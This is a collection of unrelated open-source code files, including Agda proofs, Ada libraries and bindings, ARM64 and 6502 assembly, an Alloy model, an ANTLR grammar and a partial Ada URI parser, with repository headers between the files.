boundary : ∀ n → (AbGroup.grp (chain (S n)) →ᴳ AbGroup.grp (chain n))
record CochainComplex i : Type (lsucc i) where
field
head : AbGroup i
cochain : ℕ → AbGroup i
augment : AbGroup.grp head →ᴳ AbGroup.grp (cochain 0)
coboundary : ∀ n → (AbGroup.grp (cochain n) →ᴳ AbGroup.grp (cochain (S n)))
record CochainComplexEquiv {i₀ i₁}
(cc₀ : CochainComplex i₀) (cc₁ : CochainComplex i₁) : Type (lmax i₀ i₁) where
private
module cc₀ = CochainComplex cc₀
module cc₁ = CochainComplex cc₁
field
head : AbGroup.grp cc₀.head ≃ᴳ AbGroup.grp cc₁.head
cochain : (n : ℕ) → AbGroup.grp (cc₀.cochain n) ≃ᴳ AbGroup.grp (cc₁.cochain n)
augment : CommSquareᴳ cc₀.augment cc₁.augment (–>ᴳ head) (–>ᴳ (cochain 0))
coboundary : ∀ n → CommSquareᴳ (cc₀.coboundary n) (cc₁.coboundary n)
(–>ᴳ (cochain n)) (–>ᴳ (cochain (S n)))
homology-group : ∀ {i} → ChainComplex i → (n : ℤ) → Group i
homology-group cc (pos 0) = Ker/Im cc.augment (cc.boundary 0) (snd (cc.chain 0))
where module cc = ChainComplex cc
homology-group cc (pos (S n)) = Ker/Im (cc.boundary n) (cc.boundary (S n)) (snd (cc.chain (S n)))
where module cc = ChainComplex cc
homology-group {i} cc (negsucc _) = Lift-group {j = i} Unit-group
cohomology-group : ∀ {i} → CochainComplex i → (n : ℤ) → Group i
cohomology-group cc (pos 0) = Ker/Im (cc.coboundary 0) cc.augment (snd (cc.cochain 0))
where module cc = CochainComplex cc
cohomology-group cc (pos (S n)) = Ker/Im (cc.coboundary (S n)) (cc.coboundary n) (snd (cc.cochain (S n)))
where module cc = CochainComplex cc
cohomology-group {i} cc (negsucc _) = Lift-group {j = i} Unit-group
cohomology-group-emap : ∀ {i₀ i₁} {cc₀ : CochainComplex i₀} {cc₁ : CochainComplex i₁}
→ CochainComplexEquiv cc₀ cc₁
→ (n : ℤ) → cohomology-group cc₀ n ≃ᴳ cohomology-group cc₁ n
cohomology-group-emap {cc₀ = cc₀} {cc₁} cc= (pos 0) =
Ker/Im-emap (snd (cc₀.cochain 0)) (snd (cc₁.cochain 0))
(cc=.coboundary 0) cc=.augment
(snd cc=.head) (snd (cc=.cochain 0)) (snd (cc=.cochain 1))
where module cc₀ = CochainComplex cc₀
module cc₁ = CochainComplex cc₁
module cc= = CochainComplexEquiv cc=
cohomology-group-emap {cc₀ = cc₀} {cc₁} cc= (pos (S n)) =
Ker/Im-emap (snd (cc₀.cochain (S n))) (snd (cc₁.cochain (S n)))
(cc=.coboundary (S n)) (cc=.coboundary n)
(snd (cc=.cochain n)) (snd (cc=.cochain (S n))) (snd (cc=.cochain (S (S n))))
where module cc₀ = CochainComplex cc₀
module cc₁ = CochainComplex cc₁
module cc= = CochainComplexEquiv cc=
cohomology-group-emap _ (negsucc _) = lift-iso ∘eᴳ lower-iso
complex-dualize : ∀ {i j} → ChainComplex i → AbGroup j
→ CochainComplex (lmax i j)
complex-dualize {i} {j} cc G = record {M} where
module cc = ChainComplex cc
module M where
head : AbGroup (lmax i j)
head = hom-abgroup (AbGroup.grp cc.head) G
cochain : ℕ → AbGroup (lmax i j)
cochain n = hom-abgroup (AbGroup.grp (cc.chain n)) G
augment : AbGroup.grp head →ᴳ AbGroup.grp (cochain 0)
augment = pre∘ᴳ-hom G cc.augment
coboundary : ∀ n → (AbGroup.grp (cochain n) →ᴳ AbGroup.grp (cochain (S n)))
coboundary n = pre∘ᴳ-hom G (cc.boundary n)
|
source/xml/dom/xml-dom-character_datas.ads
|
svn2github/matreshka
| 24 |
6132
|
<reponame>svn2github/matreshka
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- XML Processor --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the <NAME>, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with League.Strings;
with XML.DOM.Nodes;
package XML.DOM.Character_Datas is
pragma Preelaborate;
type DOM_Character_Data is limited interface and XML.DOM.Nodes.DOM_Node;
type DOM_Character_Data_Access is access all DOM_Character_Data'Class
with Storage_Size => 0;
not overriding function Get_Data
(Self : not null access constant DOM_Character_Data)
return League.Strings.Universal_String is abstract;
not overriding procedure Set_Data
(Self : not null access DOM_Character_Data;
New_Value : League.Strings.Universal_String) is abstract;
-- The character data of the node that implements this interface. The DOM
-- implementation may not put arbitrary limits on the amount of data that
-- may be stored in a CharacterData node. However, implementation limits
-- may mean that the entirety of a node's data may not fit into a single
-- DOMString. In such cases, the user may call substringData to retrieve
-- the data in appropriately sized pieces.
--
-- Exceptions on setting
--
-- DOMException
--
-- NO_MODIFICATION_ALLOWED_ERR: Raised when the node is readonly.
--
-- Exceptions on retrieval
--
-- DOMException
--
-- DOMSTRING_SIZE_ERR: Raised when it would return more characters than
-- fit in a DOMString variable on the implementation platform.
not overriding procedure Replace_Data
(Self : not null access DOM_Character_Data;
Offset : Positive;
Count : Natural;
Arg : League.Strings.Universal_String) is abstract;
-- Replace the characters starting at the specified 16-bit unit offset with
-- the specified string.
--
-- Parameters
--
-- offset of type unsigned long
-- The offset from which to start replacing.
--
-- count of type unsigned long
-- The number of 16-bit units to replace. If the sum of offset and
-- count exceeds length, then all 16-bit units to the end of the data
-- are replaced; (i.e., the effect is the same as a remove method call
-- with the same range, followed by an append method invocation).
--
-- arg of type DOMString
-- The DOMString with which the range must be replaced.
--
-- Exceptions
--
-- DOMException
--
-- INDEX_SIZE_ERR: Raised if the specified offset is negative or
-- greater than the number of 16-bit units in data, or if the specified
-- count is negative.
--
-- NO_MODIFICATION_ALLOWED_ERR: Raised if this node is readonly.
end XML.DOM.Character_Datas;
|
FormalAnalyzer/models/apps/ItsTooCold.als
|
Mohannadcse/IoTCOM_BehavioralRuleExtractor
| 0 |
2752
|
module app_ItsTooCold
open IoTBottomUp as base
open cap_runIn
open cap_now
open cap_temperatureMeasurement
open cap_switch
one sig app_ItsTooCold extends IoTApp {
temperatureSensor1 : one cap_temperatureMeasurement,
//temperature1 : one cap_temperatureMeasurement_attr_temperature_val,
switch1 : one cap_switch,
} {
rules = r
//capabilities = temperatureSensor1 + switch1
}
one sig range_0,range_1 extends cap_temperatureMeasurement_attr_temperature_val {}
abstract sig r extends Rule {}
one sig r0 extends r {}{
triggers = r0_trig
conditions = r0_cond
commands = r0_comm
}
abstract sig r0_trig extends Trigger {}
one sig r0_trig0 extends r0_trig {} {
capabilities = app_ItsTooCold.temperatureSensor1
attribute = cap_temperatureMeasurement_attr_temperature
no value
}
abstract sig r0_cond extends Condition {}
one sig r0_cond0 extends r0_cond {} {
capabilities = app_ItsTooCold.temperatureSensor1
attribute = cap_temperatureMeasurement_attr_temperature
value = range_0//cap_temperatureMeasurement_attr_temperature_val_lte_tooCold
}
abstract sig r0_comm extends Command {}
one sig r0_comm0 extends r0_comm {} {
capability = app_ItsTooCold.switch1
attribute = cap_switch_attr_switch
value = cap_switch_attr_switch_val_on
}
|
data/github.com/pigworker/CS410-15/043477e6143af6a78b677bb528c46621da11df00/McK-B.agda
|
ajnavarro/language-dataset
| 9 |
936
|
<reponame>ajnavarro/language-dataset<filename>data/github.com/pigworker/CS410-15/043477e6143af6a78b677bb528c46621da11df00/McK-B.agda
module McK-B where
open import CS410-Prelude
open import CS410-Nat
open import CS410-Vec
data Bit : Set where O I : Bit
exp2 : Nat -> Nat
exp2 zero = 1
exp2 (suc n) = exp2 n +N exp2 n
WordNZ : Nat -> Set
data Word (n : Nat) : Set where
O : Word n
[_] : WordNZ n -> Word n
WordNZ zero = One
WordNZ (suc n) = (WordNZ n * Word n) + WordNZ n
_!_ : {n : Nat} -> Word n -> Word n -> Word (suc n)
O ! O = O
O ! [ x ] = [ inr x ]
[ x ] ! y = [ inl (x , y) ]
_!+_ : {n : Nat} -> Word n -> WordNZ n -> WordNZ (suc n)
O !+ y = inr y
[ x ] !+ y = inl (x , [ y ])
iNZ : (n : Nat) -> WordNZ n
iNZ zero = <>
iNZ (suc n) = inr (iNZ n)
i : {n : Nat} -> Word n
i {n} = [ iNZ n ] where
data WViewable : {n : Nat} -> Word n -> Set where
O0 : WViewable {zero} O
I0 : WViewable {zero} i
_!!_ : {n : Nat}(x y : Word n) -> WViewable (x ! y)
wView : {n : Nat}(x : Word n) -> WViewable x
wView {zero} O = O0
wView {zero} [ <> ] = I0
wView {suc n} O = O !! O
wView {suc n} [ inl (x , y) ] = [ x ] !! y
wView {suc n} [ inr y ] = O !! [ y ]
expand : {n : Nat} -> Word n -> Vec Bit (exp2 n)
expand x with wView x
expand .O | O0 = O :: []
expand .([ <> ]) | I0 = I :: []
expand .(x ! y) | x !! y = expand x +V expand y
inc : {n : Nat}(x : Word n) -> One + WordNZ n
inc x with wView x
inc .O | O0 = inr (iNZ zero)
inc .([ <> ]) | I0 = inl <>
inc .(x ! y) | x !! y with inc y
inc .(x ! y) | x !! y | inr y' = inr (x !+ y')
inc .(x ! y) | x !! y | inl <> with inc x
inc .(x ! y) | x !! y | inl <> | inr x' = inr (inl (x' , O))
inc .(x ! y) | x !! y | inl <> | inl <> = inl <>
incm : {n : Nat}(x : Word n) -> Word n
incm x with inc x
incm x | inl <> = O
incm x | inr x' = [ x' ]
fiveW2 : Word 2
fiveW2 = incm (incm (incm (incm (incm O))))
adc : {n : Nat} -> Word n -> Word n -> Bit -> Bit * Word n
adc x y c with wView x | wView y
adc .O .O O | O0 | O0 = O , O
adc .O .O I | O0 | O0 = O , i
adc .O .i O | O0 | I0 = O , i
adc .O .i I | O0 | I0 = I , O
adc .i .O O | I0 | O0 = O , i
adc .i .O I | I0 | O0 = I , O
adc .i .i O | I0 | I0 = I , O
adc .i .i I | I0 | I0 = I , i
adc .(xh ! xl) .(yh ! yl) c | xh !! xl | yh !! yl with adc xl yl c
... | cl , zl with adc xh yh cl
... | ch , zh = ch , zh ! zl
|
release/src/router/gmp/mpn/arm64/mul_1.asm
|
ghsecuritylab/Toastman-Tinc
| 5 |
167034
|
dnl ARM64 mpn_mul_1
dnl Contributed to the GNU project by <NAME>.
dnl Copyright 2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C Cortex-A53 ?
C Cortex-A57 ?
define(`rp', `x0')
define(`up', `x1')
define(`n', `x2')
define(`v0', `x3')
ASM_START()
PROLOGUE(mpn_mul_1)
ldr x12, [up], #8
and x6, n, #3
and n, n, #-4
cbz x6, L(fi0)
cmp x6, #2
bcc L(fi1)
beq L(fi2)
L(fi3): mul x8, x12, v0
umulh x13, x12, v0
cmn xzr, xzr
b L(L3)
L(fi2): mul x7, x12, v0
umulh x5, x12, v0
cmn xzr, xzr
b L(L2)
L(fi0): mul x9, x12, v0
umulh x5, x12, v0
sub n, n, #4
cmn xzr, xzr
b L(L0)
L(fi1): mul x10, x12, v0
umulh x13, x12, v0
cmn xzr, xzr
cbz n, L(end)
L(top): sub n, n, #4
ldr x12, [up], #8
mul x6, x12, v0
umulh x5, x12, v0
str x10, [rp], #8
adcs x9, x6, x13
L(L0): ldr x12, [up], #8
mul x6, x12, v0
umulh x13, x12, v0
str x9, [rp] ,#8
adcs x8, x6, x5
L(L3): ldr x12, [up], #8
mul x6, x12, v0
umulh x5, x12, v0
str x8, [rp], #8
adcs x7, x6, x13
L(L2): ldr x12, [up], #8
mul x6, x12, v0
umulh x13, x12, v0
str x7, [rp], #8
adcs x10, x6, x5
cbnz n, L(top)
L(end): str x10, [rp]
adc x0, x13, xzr
ret
EPILOGUE()
|
src/ada-libc/src/libc-errno.adb
|
mstewartgallus/linted
| 0 |
30781
|
<gh_stars>0
-- Copyright 2017 <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-- implied. See the License for the specific language governing
-- permissions and limitations under the License.
package body Libc.Errno is
procedure Errno_Get (Err : out Interfaces.C.int) is
begin
Err := Errno;
end Errno_Get;
end Libc.Errno;
|
oeis/069/A069011.asm
|
neoneye/loda-programs
| 11 |
11334
|
; A069011: Triangle with T(n,k) = n^2 + k^2.
; 0,1,2,4,5,8,9,10,13,18,16,17,20,25,32,25,26,29,34,41,50,36,37,40,45,52,61,72,49,50,53,58,65,74,85,98,64,65,68,73,80,89,100,113,128,81,82,85,90,97,106,117,130,145,162,100,101,104,109,116,125,136,149,164,181,200,121,122,125,130,137,146,157,170,185,202,221,242,144,145,148,153,160,169,180,193,208,225,244,265,288,169,170,173,178,185,194,205,218,233
lpb $0
add $2,1
sub $0,$2
lpe
pow $0,2
pow $2,2
add $2,2
add $2,$0
mov $0,$2
sub $0,2
|
test/Fail/Erasure-Lambda.agda
|
cruhland/agda
| 1,989 |
6392
|
<reponame>cruhland/agda<gh_stars>1000+
-- Andreas, 2018-10-16, erased lambda-arguments
applyErased : {@0 A B : Set} → (@0 A → B) → @0 A → B
applyErased f x = f x
test : {A : Set} → A → A
test x = applyErased (λ y → y) x
-- Expected error:
--
-- Variable y is declared erased, so it cannot be used here
-- when checking that the expression y has type _B_7
|
include/sf-window-sensor.ads
|
Fabien-Chouteau/ASFML
| 0 |
19899
|
<reponame>Fabien-Chouteau/ASFML
--//////////////////////////////////////////////////////////
-- SFML - Simple and Fast Multimedia Library
-- Copyright (C) 2007-2015 <NAME> (<EMAIL>)
-- This software is provided 'as-is', without any express or implied warranty.
-- In no event will the authors be held liable for any damages arising from the use of this software.
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it freely,
-- subject to the following restrictions:
-- 1. The origin of this software must not be misrepresented;
-- you must not claim that you wrote the original software.
-- If you use this software in a product, an acknowledgment
-- in the product documentation would be appreciated but is not required.
-- 2. Altered source versions must be plainly marked as such,
-- and must not be misrepresented as being the original software.
-- 3. This notice may not be removed or altered from any source distribution.
--//////////////////////////////////////////////////////////
--//////////////////////////////////////////////////////////
with Sf.System.Vector3;
package Sf.Window.Sensor is
--//////////////////////////////////////////////////////////
--//////////////////////////////////////////////////////////
--//////////////////////////////////////////////////////////
--//////////////////////////////////////////////////////////
--//////////////////////////////////////////////////////////
--/ @brief Sensor Types
--/
--//////////////////////////////////////////////////////////
--/< Measures the raw acceleration (m/s^2)
--/< Measures the raw rotation rates (degrees/s)
--/< Measures the ambient magnetic field (micro-teslas)
--/< Measures the direction and intensity of gravity, independent of device acceleration (m/s^2)
--/< Measures the direction and intensity of device acceleration, independent of the gravity (m/s^2)
--/< Measures the absolute 3D orientation (degrees)
--/< Keep last -- the total number of sensor types
type sfSensorType is
(sfSensorAccelerometer,
sfSensorGyroscope,
sfSensorMagnetometer,
sfSensorGravity,
sfSensorUserAcceleration,
sfSensorOrientation,
sfSensorCount);
pragma Convention (C, sfSensorType);
--//////////////////////////////////////////////////////////
--/ @brief Check if a sensor is available on the underlying platform
--/
--/ @param sensor Sensor to check
--/
--/ @return sfTrue if the sensor is available, sfFalse otherwise
--/
--//////////////////////////////////////////////////////////
function isAvailable (sensor : sfSensorType) return sfBool;
--//////////////////////////////////////////////////////////
--/ @brief Enable or disable a sensor
--/
--/ All sensors are disabled by default, to avoid consuming too
--/ much battery power. Once a sensor is enabled, it starts
--/ sending events of the corresponding type.
--/
--/ This function does nothing if the sensor is unavailable.
--/
--/ @param sensor Sensor to enable
--/ @param enabled sfTrue to enable, sfFalse to disable
--/
--//////////////////////////////////////////////////////////
procedure setEnabled (sensor : sfSensorType; enabled : sfBool);
--//////////////////////////////////////////////////////////
--/ @brief Get the current sensor value
--/
--/ @param sensor Sensor to read
--/
--/ @return The current sensor value
--/
--//////////////////////////////////////////////////////////
function getValue (sensor : sfSensorType) return Sf.System.Vector3.sfVector3f;
private
pragma Import (C, isAvailable, "sfSensor_isAvailable");
pragma Import (C, setEnabled, "sfSensor_setEnabled");
pragma Import (C, getValue, "sfSensor_getValue");
end Sf.Window.Sensor;
|
kernel/compiler/execute.asm
|
paulscottrobson/color-forth-6502
| 0 |
170642
|
<reponame>paulscottrobson/color-forth-6502
; ******************************************************************************
; ******************************************************************************
;
; Name : execute.asm
; Purpose : Buffer processor (Execute)
; Author : <NAME> (<EMAIL>)
; Created : 2nd October 2019
;
; ******************************************************************************
; ******************************************************************************
; ******************************************************************************
;
; Execute a word
;
; ******************************************************************************
BPExecute:
jsr UtilSearchAll ; look for it in dictionaries
bcs _BPEXFound ; word found.
jsr UtilConvertInteger ; Try as integer
bcs _BPEXInteger ; if integer, push on stack, otherwise error
.ferror "UNKNOWN EXECUTE"
;
; Found a word that needs to be executed.
;
_BPEXFound:
bit dictType ; check if compile only
bmi _BPEXCompileOnly
;
ldx CurrentIndex ; load the index, and TOS into X and YA
lda CurrentTOS
ldy CurrentTOS+1
;
jsr _BPEXWord ; call the word code (set by dictionary search)
;
stx CurrentIndex ; save that state in 'current' variables
sta CurrentTOS ; which is X (stack) and YA (top of stack)
sty CurrentTOS+1
rts
_BPEXCompileOnly:
ferror "COMPILE ONLY"
_BPEXWord: ; used to execute a word.
jmp (dictAddr)
;
; Push integer on the stack.
;
_BPEXInteger:
pha ; save constant
phy
ldx CurrentIndex ; load the index, and TOS into X and YA
lda CurrentTOS
ldy CurrentTOS+1
.savestack ; save TOS on the stack.
ply ; restore constant
pla
stx CurrentIndex ; save that state in 'current' variables
sta CurrentTOS ; which is X (stack) and YA (top of stack)
sty CurrentTOS+1
rts
|
poem-generator/src/main/resources/Poem.g4
|
m4solutions/poem-generator
| 0 |
6314
|
<filename>poem-generator/src/main/resources/Poem.g4
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor
*/
grammar Poem;
poem:line line line line line;
line:(' '?noun|' '?preposition|' '?pronoun)(linebreak|EOF|' '?);
adjective:('black'|'white'|'dark'|'light'|'bright'|'murky'|'muddy'|'clear')((' '?noun|' '?adjective|linebreak|EOF|' '?));
noun:('heart'|'sun'|'moon'|'thunder'|'fire'|'time'|'wind'|'sea'|'river'|'flavor'|'wave'|'willow'|'rain'|'tree'|'flower'|'field'|'meadow'|'pasture'|'harvest'|'water'|'father'|'mother'|'brother'|'sister')' '?(verb|preposition|linebreak|EOF|' '?);
pronoun:('my'|'your'|'his'|'her')(' '?noun|' '?adjective);
verb:('runs'|'walks'|'stands'|'climbs'|'crawls'|'flows'|'flies'|'transcends'|'ascends'|'descends'|'sinks') (' '?preposition|' '?pronoun|linebreak|EOF|' '?);
preposition:('above'|'across'|'against'|'along'|'among'|'around'|'before'|'behind'|'beneath'|'beside'|'between'|'beyond'|'during'|'inside'|'onto'|'outside'|'under'|'underneath'|'upon'|'with'|'without'|'through') (' '?noun|' '?pronoun|' '?adjective);
linebreak:('\n'|'\r'|EOF|'\n\r'|'\r\n'|'\t'|' '?);
|
simple_http-rfc_3986-uri_parser-parse_authority.adb
|
annexi-strayline/ASAP-Simple_HTTP
| 0 |
27020
|
<reponame>annexi-strayline/ASAP-Simple_HTTP
------------------------------------------------------------------------------
-- --
-- Simple HTTP --
-- --
-- Basic HTTP 1.1 support for API endpoints --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2021, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
separate (Simple_HTTP.RFC_3986.URI_Parser)
procedure Parse_Authority
(URI : in URI_String;
Default_Port: in Port_Number := 80;
Valid : out Boolean;
userinfo : out URI_String;
host : out URI_String;
port : out Port_Number)
is
Sequence_Length: constant Natural := Length (URI);
function URI_Element (Source: URI_String := URI;
Index : Positive)
return Character
renames URI_Strings.Element;
procedure Convert_Port (Low, High: in Positive;
Result : out Port_Number;
OK : out Boolean);
procedure Probe_End (From : in Positive;
Result: out Positive;
OK : out Boolean);
-- Attempts to find the end of the authority component, starting at From.
-- If an invalid character appears, OK is set to False, otherwise, Result
-- is set to the character representing the last character of the authority
-- component
function Valid_Userinfo (Low, High: Positive) return Boolean;
function Valid_Host (Low, High: Positive) return Boolean;
procedure Set_Empty;
procedure Set_Invalid;
----------------------------------------------------------------------
procedure Convert_Port (Low, High: in Positive;
Result : out Port_Number;
OK : out Boolean)
is
Port_String: constant String := Slice (Source => URI,
Low => Low,
High => High);
begin
if (for some C of Port_String => not Is_digit (C)) then
-- Not a number!
OK := False;
return;
end if;
Result := Port_Number'Value (Port_String);
OK := True;
exception
when others =>
OK := False;
return;
end;
----------------------------------------------------------------------
procedure Probe_End (From : in Positive;
Result: out Positive;
OK : out Boolean)
is
Authority_Termination_Set: constant Ada.Strings.Maps.Character_Set
:= Ada.Strings.Maps.To_Set ("/?#");
Mark: constant Natural := Index (Source => URI,
Set => Authority_Termination_Set,
From => From);
begin
if Mark /= 0 then
if Mark = From then
Result := Mark;
else
Result := Mark - 1;
end if;
OK := URI_Element (Index => Mark) = '/';
else
Result := Sequence_Length;
OK := True;
end if;
end Probe_End;
----------------------------------------------------------------------
function Valid_Userinfo (Low, High: Positive) return Boolean is
function Valid_Char (Item: in Character) return Boolean is
(Is_unreserved (Item)
or else Is_sub_delim (Item)
or else (Item in Escape_Preamble | ':'));
begin
for I in Low .. High loop
if not Valid_Char (URI_Element (Index => I)) then
return False;
end if;
end loop;
return True;
end Valid_Userinfo;
----------------------------------------------------------------------
function Valid_Host (Low, High: Positive) return Boolean is
-- This is quite a bit more involved than userinfo..
function Valid_IP_Literal return Boolean;
function Valid_IPv4_Address return Boolean;
function Valid_Reg_Name return Boolean;
------------------------------------------------------------
function Valid_IP_Literal return Boolean is
-- We're not going to recognize "IPvFuture". If that is ever one
-- day a thing, we can add that here. So far we're expecting only
-- an IPv6 address in square-brackets
begin
-- The shortest possible IPv6 addres is "::", so we need at least
-- 4 characters for this to have any chance of working, since it
-- must also be enclosed in "[]"
--
-- Conversely, the longest address is
-- "0000:0000:0000:0000:0000:0000:0000:0000" (39) + "[]" (2) = 41
--
-- We cannot see more than one occurance of consecutive '::'
if High - Low not in 3 .. 40
or else URI_Element (Index => Low) /= '['
or else URI_Element (Index => High) /= ']'
then
return False;
end if;
-- This is a lazy check, we're really trying to exclude things that
-- are obviously not IPv6. The rest can be left up to the stack, as
-- we can be sure we're not going to have something insane
declare
E: Character;
Colon_Count : Natural := 0;
Digit_Count : Natural := 0;
Consecutive_Colons: Boolean := False;
begin
for I in Low + 1 .. High - 1 loop
E := URI_Element (Index => I);
if E = ':' then
Digit_Count := 0;
Colon_Count := Colon_Count + 1;
if Colon_Count >= 7 then
-- Too many colons to be valid
return False;
elsif URI_Element (Index => Low - 1) = ':' then
if Consecutive_Colons then
-- There shall only be one case of "::" per IPv6
-- address
return False;
else
Consecutive_Colons := True;
end if;
end if;
elsif E in Hex.Hex_Character then
if Digit_Count = 4 then
-- Too many hex digits
return False;
else
Digit_Count := Digit_Count + 1;
end if;
else
return False;
end if;
end loop;
-- There should be at least two ':', but no more than 7.
if Colon_Count not in 2 .. 7 then
return False;
end if;
end;
-- Everything checks-out
return True;
end Valid_IP_Literal;
------------------------------------------------------------
function Valid_IPv4_Address return Boolean is
-- Significantly simpler than IPv6. We expect four numbers
-- that are not more than 3 characters long, separated by
-- '.', and nothing else.
--
-- We won't be pedantic about the values - like "999.999.999.999"
E: Character;
Period_Count: Natural := 0;
Octet_Digits: String (1 .. 3) := " ";
Octet_Place : Natural := 0;
begin
-- Longest is 255.255.255.255 = 15,
-- Shortest is 0.0.0.0 = 7
if High - Low not in 6 .. 14 then
return False;
end if;
for I in Low .. High loop
E := URI_Element (Index => I);
if E = '.' then
if Period_Count >= 3 then
-- There has already been three '.', this is too much
return False;
elsif Octet_Place < 1 then
-- This would mean there was no number preceeding this '.'.
-- That is not ok.
return False;
elsif Natural'Value (Octet_Digits(1 .. Octet_Place))
not in 0 .. 255
then
-- The numeric value of the preceeding octet is not valid.
return False;
else
Period_Count := Period_Count + 1;
Octet_Place := 1;
Octet_Digits := " ";
end if;
elsif Is_digit (E) then
if Octet_Place >= 3 then
-- Too many digits!
return False;
else
Octet_Place := Octet_Place + 1;
Octet_Digits(Octet_Place) := E;
end if;
end if;
end loop;
return True;
end Valid_IPv4_Address;
------------------------------------------------------------
function Valid_Reg_Name return Boolean is
E: Character;
begin
if High - Low < 1 then
return False;
end if;
for I in Low .. High loop
E := URI_Element (Index => I);
if not
(Is_unreserved (E)
or else E = '%'
or else Is_sub_delim (E))
then
return False;
end if;
end loop;
return True;
end Valid_Reg_Name;
------------------------------------------------------------
begin
return Valid_IP_Literal
or else Valid_IPv4_Address
or else Valid_Reg_Name;
end Valid_Host;
----------------------------------------------------------------------
procedure Set_Empty is
begin
userinfo := Null_Bounded_String;
host := Null_Bounded_String;
port := Default_Port;
end;
----------------------------------------------------------------------
procedure Set_Invalid is
begin
Set_Empty;
Valid := False;
end;
----------------------------------------------------------------------
User_Start, User_End, Host_Start, Host_End, Port_Start, Port_End: Natural;
begin
if Sequence_Length = 0 then
Set_Empty;
Valid := True;
return;
end if;
-- We expect to find "//" that must preceed the heir part, which exists
-- if the authority component exists. If we don't find "//" then we
-- can assume there is no authority at all
User_Start := Index (Source => URI,
Pattern => "//",
From => 1);
if User_Start = 0 then
Set_Empty;
Valid := True;
return;
else
User_Start := User_Start + 2;
end if;
if User_Start > Sequence_Length then
Set_Invalid;
return;
end if;
-- userinfo part. --
User_End := Index (Source => URI,
Pattern => "@",
From => User_Start);
